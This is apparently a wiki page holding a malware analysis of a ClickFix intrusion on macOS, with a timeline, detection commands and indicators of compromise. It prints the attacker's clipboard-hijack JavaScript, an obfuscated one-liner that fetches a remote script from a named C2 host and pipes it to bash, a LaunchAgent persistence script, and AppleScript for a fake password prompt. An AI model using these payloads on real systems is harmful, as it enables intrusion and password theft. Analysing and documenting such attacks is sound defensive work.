WikifitaGitHub live67e8de5
pesquisa · clickfix/clickfix-attack-chain

ClickFix — Attack Chain (Initial Compromise)

Domain hijacking, ClickFix social engineering, clipboard injection, LaunchAgent persistence, fake PAM bypass. The full initial compromise chain.

Baixar raw

ClickFix — Attack Chain (Initial Compromise)

The full initial compromise chain: domain hijack → ClickFix clipboard injection → script.sh → LaunchAgent persistence → fake PAM password dialog.

See also: clickfix-handoff | clickfix-bddr | clickfix-c2-bot | clickfix-iocs


1. Safari History Timeline

Reconstructed from ~/Library/Safari/History.db:

Timestamp (Local)URLAction
11:46:17github.com/redhat-developer/lsp4ijBrowsing lsp4ij README
11:47:37idetools.dev/blog/lsp4ij-dap-announcement/Clicked README link → hijacked domain
11:47:37295e5cd2.sessionaquirecheck.pages.devInstant 302 redirect to phishing host
11:49:17(no navigation)Payload executed in Terminal

The 1m40s window between redirect and execution matches the UX flow: read instructions → open Spotlight → type Terminal → paste → Enter.


2. Redirect Chain

github.com/redhat-developer/lsp4ij (README.md)
    └── idetools.dev/blog/lsp4ij-dap-announcement/
        ├── [Domain EXPIRED — threat actor registered]
        └── HTTP 302 →
            └── 295e5cd2.sessionaquirecheck.pages.dev
                └── [ClickFix lure — hosted on Cloudflare Pages]

The attack exploits the implicit trust model of developer documentation. A developer reading a Red Hat project README has no reason to scrutinize outbound links for domain expiry.

sequenceDiagram
    participant V as Victim (Safari)
    participant GH as github.com
    participant ID as idetools.dev (Hijacked)
    participant CF as sessionaquirecheck.pages.dev
    participant C2 as maccf9c.jetbet4.online

    V->>GH: GET /redhat-developer/lsp4ij
    GH-->>V: README with link to idetools.dev
    V->>ID: GET /blog/lsp4ij-dap-announcement/
    ID-->>V: 302 → sessionaquirecheck.pages.dev
    V->>CF: GET / (ClickFix page)
    CF-->>V: Fake Cloudflare verification UI
    Note over V,CF: JS sets clipboard to base64 payload
    V->>C2: curl -s .../script.sh | bash
    C2-->>V: Stage 1 payload

3. ClickFix Technique

ClickFix is a social engineering lure that subverts the OS shell by tricking the user into manually pasting a command. Unlike traditional phishing, no file is downloaded, no form is submitted, and no browser warning triggers.

Why ClickFix Evades Traditional Controls

Security ControlOrdinary PhishingClickFix
Email gateway AV/sandboxScans attachmentsN/A — no attachment
Browser download warningsWarns on .exe/.shN/A — no download prompt
Gatekeeper (macOS)Blocks unsigned binariesBypassed — bash is a system binary
Safe Browsing / SmartScreenBlocks known bad URLsMay flag page, not clipboard
EDR file creation rulesAlerts on dropped filesBypassed — executed inline
User intentUser might question downloadUser believes verification step

Fake Cloudflare Page

Hosted on *.pages.dev (legitimate Cloudflare domain). When the user clicks the fake checkbox, hidden JS overwrites the clipboard:

document.getElementById('cf-checkbox').addEventListener('click', function() {
    const payload = 'bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZj..." | base64 -d)';
    navigator.clipboard.writeText(payload);
    this.classList.add('verified');
    document.getElementById('verify-text').innerText = 'Verification complete';
    document.getElementById('instructions').style.display = 'block';
});

Follow-up instructions: "Press ⌘+Space → type Terminal → paste ⌘+V → Enter"

Developer Targeting

Developers are habituated to running commands from documentation. A developer reading about a new IDE extension is primed to execute setup commands. The attacker deliberately exploits this domain-specific behavioral pattern.


4. Clipboard Payload

bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9tYWNjZjljLmpldGJldDQub25saW5lL3NjcmlwdC5zaCcgfCBiYXNo" | base64 -d)

Decodes to: curl -s 'https://maccf9c.jetbet4.online/script.sh' | bash

Obfuscation Layers

LayerPurpose
bash <<< $(...)Heredoc injection — avoids subshell with obvious arguments
echo | base64 -dHides URL from clipboard preview
Single-pipe | bashExecutes in memory — no file on disk during Stage 1
HTTPSPrevents MITM interception by network monitoring

Because the script pipes directly into bash via stdin, no file is written to disk during initial execution. Evasion is complete at this stage.


5. script.sh — Decoded Structure

#!/bin/bash
DAEMON_ID="luhbmchzztkfbxao"   # Randomized per-victim
PLIST_LABEL="com.${DAEMON_ID}"
PLIST_PATH="${HOME}/Library/LaunchAgents/${PLIST_LABEL}.plist"
SCRIPT_PATH="${HOME}/Library/${DAEMON_ID}"

# Drop resident script via osascript + base64
osascript -e 'do shell script "echo <BASE64_BLOB> | base64 -d > '"${SCRIPT_PATH}"'"'
chmod +x "${SCRIPT_PATH}"

# Write LaunchAgent plist (see section 6)
cat > "${PLIST_PATH}" << 'EOF'
...plist content...
EOF

# Activate immediately
launchctl load "${PLIST_PATH}"

# Write tracking ID for C2 correlation
echo "8a4e280e1159833ede425a1306c2efe5" > ~/.txid

The MASSIVE_BASE64_BLOB decodes to Stage 2 + Stage 3 logic (password stealer + blockchain C2 resolver). Using osascript as wrapper evades shell-level logging — osascript calls don't appear in bash history.


6. LaunchAgent Persistence

File: ~/Library/LaunchAgents/com.luhbmchzztkfbxao.plist

KeyValueSecurity Implication
Labelcom.luhbmchzztkfbxaoRandomized label defeats string-match detection
ProgramArguments/bin/bash ~/Library/luhbmchzztkfbxaoRuns as trusted system binary
RunAtLoadtrueExecutes immediately on load, and on every login
KeepAlivetruelaunchd auto-restarts if process exits
ThrottleInterval3030s delay before restart — prevents CPU spike detection

WARNING: KeepAlive: true means killing the process is not sufficient. launchd restarts within 30 seconds. The plist must be unloaded via launchctl bootout or launchctl unload before killing.

Daemon Name Randomization

The string luhbmchzztkfbxao is pseudo-random per-victim. Defeats:

  • Signature-based detection on label/filename
  • File path allow-lists
  • Process name matching in EDR rules

The pattern com.<random> mimics legitimate macOS daemon naming (e.g., com.apple.loginwindow), making it visually plausible in launchctl list.

Visibility Gap

User-scoped LaunchAgents in ~/Library/LaunchAgents/ are not visible in System Settings → General → Login Items. Only launchctl list, Terminal inspection, or dedicated tools (KnockKnock, Objective-See) reveal them.


7. Fake Password Dialog (PAM Bypass)

Mechanism

set passwordResult to display dialog ¬
    "To run the application you need to change the settings for its operation. Please enter password for continue:" ¬
    with title "System Preferences" ¬
    default answer "" ¬
    with hidden answer ¬
    buttons {"OK"} ¬
    default button "OK"

set stolenPassword to text returned of passwordResult
do shell script "echo " & quoted form of stolenPassword & " > ~/.passphrase"

Visual Deception

ElementFake DialogReal macOS Auth
Title barSystem PreferencesSame
IconDefault osascript (diamond)macOS padlock
InputHidden (dots)Same
ButtonOKOK / Cancel
Grammar"Please enter password for continue" ← brokenPrecise Apple copy

The broken English is a forensic behavioral signal useful for threat actor attribution.

Why This Bypasses TouchID and sudo

MethodWhat It ProtectsCan Bypass With osascript?
TouchIDsudo, Keychain, Apple PayNo — biometric hardware
PAMsudo privilege escalationNo — requires actual PAM stack
security CLIKeychain item accessNo — requires Keychain auth
osascript display dialogNothing — it's a UI widgetIt IS the attack vector

display dialog ... with hidden answer is a text input box. Zero security semantics. No PAM, no Keychain, no biometric. It presents a UI that looks like a system prompt and returns whatever the user types as a plain string.


8. Disk Artifacts

PathTypeContentPersistent
~/Library/LaunchAgents/com.<random>.plistXMLLaunchAgent definitionYes — loaded by launchd
~/Library/<random>ScriptStage 2 + 3 logicYes
~/.passphrasePlaintextVictim passwordUntil deleted
~/.txidPlaintextTracking IDUntil deleted

9. Detection Commands

# Check for non-Apple LaunchAgents
ls -la ~/Library/LaunchAgents/ | grep -v apple | grep -v google | grep -v microsoft

# Check running launchd jobs
launchctl list | grep -vE '(apple|google|microsoft|com\.adobe|1password)'

# Look for specific known label
launchctl list com.luhbmchzztkfbxao

# Check for credential theft artifacts
ls -la ~/.passphrase ~/.txid 2>/dev/null

# Recently modified files in ~/Library
find ~/Library -newer ~/Library/Preferences/com.apple.finder.plist -type f | head -50

10. IOCs — Attack Vector Phase

TypeIndicatorContext
Domainidetools.devHijacked blog domain
Domainsessionaquirecheck.pages.devClickFix phishing host
URL295e5cd2.sessionaquirecheck.pages.devExact phishing page
Clipboardbash <<< $(echo "Y3VybC..."ClickFix payload
Domainmaccf9c.jetbet4.onlineStage 1 payload server
HTTPGET maccf9c.jetbet4.online/script.shFirst malicious request
File~/Library/LaunchAgents/com.<random>.plistPersistence
File~/Library/<random>Malware script
File~/.passphraseStolen password
File~/.txidTracking ID
Grammar"Please enter password for continue"Attribution signal

Source: redhat-clickfix-report/docs/01_attack_vector.md + docs/02_stage1_persistence.md